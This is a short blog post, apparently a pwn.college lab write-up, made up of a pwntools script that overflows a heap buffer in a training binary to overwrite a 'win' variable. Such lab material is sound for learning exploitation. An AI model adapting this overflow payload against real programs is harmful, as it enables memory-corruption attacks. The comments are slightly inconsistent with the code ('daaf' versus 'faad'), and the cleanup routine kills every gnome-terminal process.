pwn.college Memory Corruption [level2]

Dec. 10, 2020 // echel0n

  1. #!/usr/bin/env python
  2. import pwn
  3. import subprocess
  4. import sys
  5. # this binary calls malloc() 8 times (see vuln+259)
  6. # after calling calloc() it writes its adress to rax (vuln+292)
  7. # 0x55bd462c5bb0, in my example when I try to print that address
  8. # it has 0x0 in it. we have to overwrite this with 0x1 or
  9. # something else
  10. # overwritten with daaf, i found with pwn.cyclic and pwn.cyclic_find
  11. pwn.context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
  12. FILENAME = "./babymem_level2_teaching1"
  13. def create_payload(options: list(), payload: list()):
  14. f = open("payload", "wb")
  15. for option in options:
  16. f.write(bytes(option, encoding="utf-8") + b"\n")
  17. f.write(payload + b"\n")
  18. def prepare_payload(offset: int, size_of_junk: int, junk_byte):
  19. print("-"*24)
  20. print(offset)
  21. print(size_of_junk)
  22. print("-"*24)
  23. payload = b""
  24. payload += junk_byte * offset
  25. payload += b"\x65\x65\x65"
  26. payload += junk_byte * (size_of_junk - offset)
  27. print(payload)
  28. print(len(payload))
  29. return payload
  30. def alive_or_dead():
  31. answer = input("[FINISHED] END? [y/n]")
  32. is_gnome_terminal_exist = None
  33. if "y" in answer:
  34. is_gnome_terminal_exist = subprocess.run(
  35. ["pgrep", "gnome-terminal"], capture_output=True).stdout
  36. if is_gnome_terminal_exist:
  37. is_gnome_terminal_exist = str(is_gnome_terminal_exist.decode("utf-8"))
  38. is_gnome_terminal_exist = is_gnome_terminal_exist.split("\n")
  39. for process in is_gnome_terminal_exist:
  40. subprocess.run(["kill", process])
  41. sys.exit(0)
  42. else:
  43. input("[RUNNING] y/n/r/p")
  44. def debug_session():
  45. # r = pwn.process(FILENAME)
  46. ssize = 400
  47. DEBUG_START = """
  48. break vuln
  49. continue
  50. """
  51. r = pwn.gdb.debug(FILENAME, DEBUG_START)
  52. read_ssize = 100000
  53. binary_itself = pwn.ELF(FILENAME)
  54. options = ["400"]
  55. offset = pwn.cyclic_find("faad")
  56. payload = prepare_payload(offset, ssize, b"\x00")
  57. #payload = pwn.cyclic(ssize)
  58. output = r.read(read_ssize)
  59. print(output.decode("utf-8"))
  60. r.send("400" + "\n")
  61. output = r.read(read_ssize)
  62. print(output.decode("utf-8"))
  63. r.send(payload + b"\n")
  64. output = r.read(read_ssize)
  65. print(output.decode("utf-8"))
  66. # print("-" * 24 + "| WIN VARIABLE IS AT index " + str(hex()))
  67. create_payload(options, payload)
  68. def process_session():
  69. r = pwn.process(FILENAME)
  70. ssize = 400
  71. read_ssize = 100000
  72. binary_itself = pwn.ELF(FILENAME)
  73. options = ["400"]
  74. offset = pwn.cyclic_find("faad")
  75. payload = prepare_payload(offset, ssize, b"\x00")
  76. #payload = pwn.cyclic(ssize)
  77. output = r.read(read_ssize)
  78. print(output.decode("utf-8"))
  79. r.send("400" + "\n")
  80. output = r.read(read_ssize)
  81. print(output.decode("utf-8"))
  82. r.send(payload + b"\n")
  83. output = r.read(read_ssize)
  84. print(output.decode("utf-8"))
  85. # print("-" * 24 + "| WIN VARIABLE IS AT index " + str(hex()))
  86. create_payload(options, payload)
  87. def main():
  88. debug_session()
  89. if __name__ == "__main__":
  90. main()
  91. while True:
  92. alive_or_dead()